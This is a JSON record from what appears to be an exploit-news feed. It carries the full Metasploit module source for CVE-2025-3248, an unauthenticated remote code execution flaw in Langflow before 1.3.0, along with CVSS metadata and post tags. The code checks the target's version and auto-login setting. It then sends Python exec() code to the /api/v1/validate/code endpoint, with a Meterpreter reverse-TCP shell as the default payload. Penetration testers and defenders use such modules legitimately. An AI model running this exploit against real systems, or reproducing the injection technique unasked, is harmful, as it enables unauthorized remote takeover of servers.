{“lastseen”:”2025-08-29T19:20:59″,”description”:”Langflow versions prior to 1.3.0 are susceptible to code injection in the \/api\/v1\/validate\/code endpoint. …”,”published”:”2025-08-29T18:53:40″,”modified”:”2025-04-14T18:52:16″,”type”:”metasploit”,”title”:”Langflow AI RCE”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-HTTP-LANGFLOW_UNAUTH_RCE_CVE_2025_3248-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-3248″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n\\n include Msf::Exploit::Remote::HttpClient\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Langflow AI RCE’,\\n ‘Description’ =\\u003e %q{\\n Langflow versions prior to 1.3.0 are susceptible to code injection in the \/api\/v1\/validate\/code endpoint.\\n A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\\n },\\n ‘Author’ =\\u003e [\\n ‘Naveen Sunkavally (Horizon3.ai)’, # Vulnerability discovery and PoC\\n ‘Takahiro Yokoyama’ # Metasploit module\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-3248’],\\n [‘URL’, ‘https:\/\/www.horizon3.ai\/attack-research\/disclosures\/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai\/’],\\n ],\\n ‘Platform’ =\\u003e [‘python’],\\n ‘Arch’ =\\u003e [ ARCH_PYTHON ],\\n ‘Targets’ =\\u003e [\\n [\\n ‘Python payload’,\\n {\\n ‘Platform’ =\\u003e ‘python’,\\n ‘Arch’ =\\u003e ARCH_PYTHON,\\n ‘DefaultOptions’ =\\u003e { ‘PAYLOAD’ =\\u003e ‘python\/meterpreter\/reverse_tcp’ }\\n }\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Payload’ =\\u003e {\\n ‘BadChars’ =\\u003e ‘\\”‘\\n },\\n ‘DisclosureDate’ =\\u003e ‘2025-04-09’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [ CRASH_SAFE, ],\\n ‘SideEffects’ =\\u003e [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\\n ‘Reliability’ =\\u003e [ REPEATABLE_SESSION, ]\\n }\\n )\\n )\\n register_options(\\n [\\n Opt::RPORT(7860),\\n ]\\n )\\n end\\n\\n def check\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘api\/v1\/version’)\\n })\\n return Exploit::CheckCode::Unknown(‘Unexpected server reply.’) unless res\\u0026.code == 200\\n\\n json_version = res\\u0026.get_json_document\\u0026.fetch(‘version’, nil)\\n return Exploit::CheckCode::Unknown(‘Failed to parse version.’) unless json_version\\n\\n version = Rex::Version.new(json_version)\\n return Exploit::CheckCode::Unknown(‘Failed to get version.’) unless version\\n\\n return Exploit::CheckCode::Appears(\\”Version #{version} detected. Which is vulnerable even if authentication is enabled.\\”) if version \\u003c Rex::Version.new(‘1.3.0’)\\n\\n # check if auto_login is enabled or not\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘api\/v1\/auto_login’)\\n })\\n return Exploit::CheckCode::Appears(\\”Version #{version} detected and authentication is disabled. Which is vulnerable.\\”) if res\\u0026.code == 200\\n\\n Exploit::CheckCode.Safe(\\”Version #{version} detected and authentication is enabled. which is not vulnerable.\\”)\\n end\\n\\n def exploit\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘api\/v1\/validate\/code’),\\n ‘headers’ =\\u003e { ‘Content-Type’ =\\u003e ‘application\/json’ },\\n ‘data’ =\\u003e {\\n ‘code’ =\\u003e \\”@exec(\\\\\\”#{payload.encode}\\\\\\”)\\\\ndef #{rand_text_alpha(6)}():\\\\n pass\\”\\n }.to_json\\n })\\n fail_with(Failure::Unknown, ‘Unexpected server reply.’) unless res\\n end\\n\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/langflow_unauth_rce_cve_2025_3248.rb”,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/langflow_unauth_rce_cve_2025_3248\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-29T19:20:59″,”description”:”Langflow versions prior to 1.3.0 are susceptible to code injection in the \/api\/v1\/validate\/code endpoint. …”,”published”:”2025-08-29T18:53:40″,”modified”:”2025-04-14T18:52:16″,”type”:”metasploit”,”title”:”Langflow AI RCE”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-HTTP-LANGFLOW_UNAUTH_RCE_CVE_2025_3248-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-3248″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-15131","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n